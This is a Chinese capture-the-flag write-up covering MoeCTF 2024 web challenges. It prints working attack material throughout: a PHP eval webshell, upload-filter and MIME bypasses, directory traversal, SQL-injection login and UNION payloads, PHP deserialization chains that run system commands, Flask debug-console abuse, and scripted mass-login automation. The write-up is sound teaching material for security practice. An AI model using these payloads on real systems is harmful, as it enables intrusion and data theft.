自学内容网 自学内容网

2024-moectf Web WP

Web渗透测试与审计入门指北

得到一份网站源码,vscode打开,发现是AES解密,html给出了iv值和详细的加密方式,php给出了密文和key

按照源码的要求分别填入需要的东西,解密即可

flag值:moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

弗拉格之地的入口

根据题目描述猜测考察的是爬虫协议

访问 /robots.txt,发现有一个php页面

直接访问 /webtutorEntry.php,得到flag

flag值: moectf{coNGraTULATl0n_foR_KnOwlnG-r06ot5-TxT18f10}

ez_http

进入页面,要求post方法传入一个值,先随便传一个

然后按照题目要求,分别post传参,get传参

之后就需要用到burp抓包了,抓包再按照要求分别修改Referer(来源),Cookie,UA头(所使用的浏览器),X-Forwarded-For(伪造本地代理),得到flag

flag值:moectf{Y0U_@rE_re@Ily-r34L1Y-V3Ry_CLEveR!!!3b86c}

弗拉格之地的挑战

web套娃,flag一共有七段,一步一步来吧

第一段,F12查看源码,得到 flag1: bW9lY3Rm

第二段,抓包发送到重放器模块重放,得到 flag2: e0FmdEV

第三段,还是和上题一样考察的http,按照要求传入参数,得到 flag3: yX3RoMXN

第四段,题目要求从 http://localhost:8080/flag3cad.php?a=1 点击过来,意思就是referer是这里,burp抓包修改Referer字段

然后发现需要点击id为9的按钮才会获得flag,但是没有id为9的按钮,这时候就需要我们通过修改前端js伪造了

通过控制台修改其中一个按钮的id属性为9,点击修改的按钮,在控制台处得到 flag4: fdFVUMHJ

第五段,考察的前端验证,在前端把checkValue()函数删除,再提交 I want flag,得到 flag5: fSV90aDF

第六段,php函数 preg_match() /i模式不区分大小写,可以使用大小写绕过,至于post传入的参数只要不为空就行,得到 flag6: rZV9VX2t

第七段,界面给了一句话木马,蚁剑连接还是直接post传参都行,直接传参进行命令执行,查看根目录,发现flag7,直接cat,得到 flag7:rbm93X1dlQn0=

至此,所有flag都已经找全了,将他们拼接并base64解码,得到完整flag

flag值:moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

ImageCloud前置

题目说环境不出网,并且flag在/etc/passwd里,很容易想到file伪协议读本地文件,在url里写入如下代码,即可得到flag

file:///etc/passwd

flag值:moectf{1-4m_very-sOrRY-a6oUT-This39ff8e1f}

ProveYourLove

审计js代码,限制了提交次数,测试一个浏览器只能提交一次,到达300次之后得到flag

如下是限制提交次数的代码

if (localStorage.getItem('confessionSubmitted')) {
    alert('您已经提交过表白,不能重复提交。');
    return;
}

我们可以写个函数控制台提交,循环调用清除提交状态,然后连点器不断发起提交请求

function repeatTask() {
    localStorage.removeItem("confessionSubmitted");
}

setInterval(repeatTask, 500);

300次后得到flag

flag值:moectf{C0ngR@Tu14t1Ons_0N-B3CoMlNg_A-1ICKINg-doG1b3}

垫刀之路01: MoeCTF?启动!

已经getshell了,可以执行命令了,直接cat /flag

提示flagh在环境变量里,env读取环境变量,得到flag

flag值:moectf{weIcOMe_t0-MOEcTf_4Nd_RO4DI-St4RTup-BY_SXRHHhec}

垫刀之路02: 普通的文件上传

先上传一个一句话木马试试水,内容如下

<?php @eval($_POST['a']); ?>

发现没任何过滤,直接就上传成功了,文件目录也有回显,使用蚁剑连接

根目录没有flag,看看环境变量,得到flag

flag值:moectf{uPlOaD-YouR-P4yloAD_4nd_D0_wH@t-Y0ur_w4nTa85}

垫刀之路03: 这是一个图床

同样先上传一个php一句话木马试试水,发现提示只能上传图片

那就先上传一个图片马,修改php木马后缀为jpg就行,然后burp抓包再改后缀为php,实现绕过

然后蚁剑连接,还是env读环境变量,得到flag

flag值:moectf{byPASS_th3-M1M3_TyP3_@nD-3XT3NSlOn_y0U-c4N-d0_lT4}

垫刀之路04: 一个文件浏览器

打开发现是一个类似文件目录的样式,结合题目名称联想到目录穿越

没有过滤,可以直接读,../可以回到上级目录,多写几次可以读到根目录

然后直接读flag,但是发现啥都没,在/tmp发现flag,成功读到flag

flag值: moectf{cRO55-th3_Dlr3CTorY-AnD_Y0U-MAy-f1Nd_3tc_pAsSWd2c}

垫刀之路05: 登陆网站

使用万能密码登入,常见万能密码:

1' or 1=1#
' or 1='1

flag值:moectf{hAvE_tHe-u53fUL_paSSwoRD-4ND_g0-3verYWhERe-onLy-sqL_can_do0}

垫刀之路06: pop base mini moe

源码如下:

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil;

    // 如何赋值呢
    private $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}


 if(isset($_GET['data']))
 {
     $a = unserialize($_GET['data']);
 }
 else {
     highlight_file(__FILE__);
 }

开始审计链子,很短的链子,反序列化后首先调用__destruct()魔术方法,__invoke()方法是对象被当成函数调用时触发,将类B对象赋值给a变量,s变量被调用触发__invoke()魔术方法,进而构造执行命令

链子为:__destruct()->__invoke(),payload如下:

$payload = new A();
$payload->evil = "cat /flag";
$payload->a = new B();
$payload->a->b = "system";

echo serialize($payload);

将序列化后的字符串get传参到data,得到flag

flag值:moectf{pL3a5e_klck-cFb6_6EcaU5E_H3_r@1Se-PoPmo3-1n-W3Ek1_haha0}

垫刀之路07: 泄漏的密码

flask应用如果开启了调试模式,使用pin码可以进入console控制台

访问 /console 路由,输入pin码进入调试模式

进入之后使用python执行系统命令和访问系统文件进行命令执行,os返回值是0,所以我们可以使用subprocess来执行,测试发现flag在当前目录,直接cat flag即可,得到flag

flag值:moectf{doNT_u5iNg_FI4sk_by-D3bUG-M0D_@nd-LEAk_yOur_pIN10}

静态网页

提示说不用扫描,那我们就先随便点点看看,发现换衣服是向后端发起请求的

我们抓包查看,注意这里换衣服产生两个包,第一个包没用,第二个包重发可以看到有个php网页

访问 final1l1l_challenge.php,弱类型比较绕过+数组传参

参数a不能为数字但是需要弱等于0,同时也要满足 md5($a) == $b[$a]

网上可以查到一些特殊的数据,他们的md5值是0e开头的,所以他们弱类型比较值都为0,可以实现绕过

至于数组类型可以使用 数组【下标】的形式传参

分别传入以下数据,即可得到flag

?a=s878926199a

b[s878926199a]=0e545993274517709034328855841020

flag值:moectf{1S-my_Wlfe-PlO_ch@n-cUTE-0r_Y0Ur-w1fe-is-php?18f}

电院_Backend

给了源码,源码审计

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
    echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
    unset($_SESSION['captcha_code']);
    exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

发现email参数和pwd参数都是直接从后端数据库中查询的,确定应该是sql注入漏洞

由于email和pwd我们都不知道,sql查询语句又是用AND拼接的,所以判断注入点是在email,email参数需要匹配正则并且过滤了or,使用union联合注入即可绕过

123@qq.com' union select 1,2,database()#

审计完源码,我们打开题目,没见有登陆框,扫一下目录发现有robots.txt文件,发现admin页面,访问

果然是一个登录框,按照上述方法注入,得到flag

flag值:moectf{I-Dld_N0t-exp3ct-yOu_tO-be-5O-STR0ngb4999}

pop moe

这题的链子相较来说比较长,我们慢慢来分析

  1. 首先将所有private属性和protect属性替换为public函数
  2. 反序列化触发__destruct()魔术方法调用check()函数,payl0ad的值不能是0
  3. class001对象赋值给what属性,对象作为函数调用触发__invoke()魔术方法
  4. class002赋值给class001类的a属性,对不可访问属性进行赋值时触发__set()魔术方法,同时将payl0ad属性赋值为dangerous字符串,此时触发__set()魔术方法会调用dangerous方法
  5. class003对象赋值给sec属性,对象被当成字符串调用时触发__tostring()魔术方法,将mystr属性赋值为命令执行的字符串
  6. $this->sec此时是class003对象,在函数参数whaattt中传入后调用evvval()函数,进而执行eval()命令,执行mystr属性赋值的命令执行字符串,实现任意命令执行
class class000 {
    private $payl0ad = 1;
    public $what;

    public function __destruct()
    {
        $this->payl0ad = 1;
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad = "dangerous";
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    public $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

$exp= new class000();
$exp->what = new class001();
$exp->what->a = new class002();
$exp->what->a->sec = new class003();
$exp->what->a->sec->mystr = "system('env');";

echo urlencode(serialize($exp));

flag值: moectf{it_5EEM5_Th4t-YOU_KNOw-wh@T-15_p0p_IN-PHPpppPpP!!!35}

勇闯铜人阵

这道题考察的就是分析问题编写脚本的能力,我们来简单分析一下

  1. post提交用户名和弟子明白,发起一个session会话请求,获取返回页面内容
  2. 匹配特定位置出现的数字,写一个字典与位置对应,按照题目要求拼接数据
  3. 将拼接的数据和用户名再次post提交到上一个请求返回的页面,循环提交五次,返回最终响应数据,得到flag

解题脚本如下:

import requests
import re

url = "http://127.0.0.1:51446/"

direction_dict = {
    1: "北方", 2: "东北方", 3: "东方", 4: "东南方",
    5: "南方", 6: "西南方", 7: "西方", 8: "西北方"
}

initial_post_data = {
    'player': '123',
    'direct': '弟子明白'
}

def get_status_numbers_and_resubmit(url, initial_post_data):
    session = requests.Session()

    # 第一次请求:通过POST方式提交数据
    response = session.post(url, data=initial_post_data)
    response.raise_for_status()  # 检查请求是否成功

    # 获取页面内容
    page_content = response.text

    # 使用正则表达式匹配<h1 id="status">标签中的所有数字
    pattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'
    match = re.search(pattern, page_content)
    if match:
        status_numbers_str = match.group(1).strip()  # 去除空白字符
        status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')]  # 将数字字符串转换为整数列表

        # 根据状态数字数量决定如何拼接方向
        if len(status_numbers) == 1:
            direction = direction_dict.get(status_numbers[0], "未知方位")
        elif len(status_numbers) == 2:
            directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]
            direction = ",".join(directions)
        else:
            direction = "未知方位"
        print(direction)

        # 循环提交新的方向
        for i in range(5):
            second_post_data = {
                'player': '123',
                'direct': direction
            }
            # 第二次请求
            second_response = session.post(url, data=second_post_data)
            second_response.raise_for_status()
            print(second_response.text)

            page_content = second_response.text
            pattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'
            match = re.search(pattern, page_content)
            if match:
                status_numbers_str = match.group(1).strip()  # 去除空白字符
                status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')]  # 将数字字符串转换为整数列表

                # 根据状态数字数量决定如何拼接方向
                if len(status_numbers) == 1:
                    direction = direction_dict.get(status_numbers[0], "未知方位")
                elif len(status_numbers) == 2:
                    directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]
                    direction = ",".join(directions)
                else:
                    direction = "未知方位"
                print(direction)
    else:
        print("未找到匹配的数字")

get_status_numbers_and_resubmit(url, initial_post_data)

flag值:moectf{weIl1I_YOU-PAss_tH3-Ch4L13Nge-FrrrRrom-tonrEn16}

who's blog?

进入界面,要求提交id,使用get方式提交试试,提交id=1

这种一看就是经典的ssti了,再进一步测试下

ssti无疑,而且似乎过滤的很少,直接使用fenjing一把梭,env查看环境变量,得到flag

flag值:moectf{do-Y0u-knoW-5STl_ANd-PIE453-V15It-SXrhHH5-BLoG6}

ImageCloud

先上传一个图片看看回显

上传成功,访问,发现上传到了内网服务器上了,典型的ssrf漏洞

通过源码可知,上传服务的端口是随机分配的,burp爆破端口

得到有回显的端口,通过源码可知flag.jpg是在image目录里的,再通过相对路径找到flag

flag值:moectf{c3tT36rAt3-YOU-4Tt4Ck_t0-MY_tm@G3-CTOUdHhhhHh31a)

Re: 从零开始的 XDU 教书生活

题目给了完整源码和环境,可以直接本地部署尝试

思路:

  1. 获取未签到的名单,提取出所有用户名,学生用户的账户名和密码相同,通过用户名和密码模拟登陆获取用户cookie
  2. 然后获取签到所需的二维码信息,使用获取的 Cookie 和二维码信息进行自动签到
  3. 手动登陆教师账号开始和结束,得到flag

解题脚本如下:

import requests

url = "http://127.0.0.1:8888/"

def GetUnsignNamelist(data):
    names = []
    for i in data['data']['changeUnSignList']:
        names.append(i['name'])
    return names

def get_cookie(uname, password):
    url = "http://127.0.0.1:8888/fanyalogin"
    data = {
        "uname": uname,
        "password": password,
    }
    response = requests.post(url, data=data)
    if response.status_code == 200:
        token = response.cookies.get("token")
        if token:
            return token

def get_qr_code():
    response = requests.get(url+"v2/apis/sign/refreshQRCode")

    if response.status_code == 200:
        json_data = response.json()
        enc = json_data['data']['enc']
        sign_code = json_data['data']['signCode']
        return enc, sign_code

def auto_sign(token, enc, sign_code):
    params = {
        "id": "4000000000000",  # 假设这是活动的ID
        "c": sign_code,
        "enc": enc,
        "DB_STRATEGY": "PRIMARY_KEY",
        "STRATEGY_PARA": "id"
    }
    cookies = {
        "token": token
    }
    response = requests.get(url+"widget/sign/e", params=params, cookies=cookies)

    if response.status_code == 200:
        print(response.text)


response = requests.get(url + "widget/sign/pcTeaSignController/showSignInfo1")
data = response.json()
stunames = GetUnsignNamelist(data)
for name in stunames:
    cookie = get_cookie(name, name)
    enc, sign_code = get_qr_code()
    auto_sign(cookie, enc, sign_code)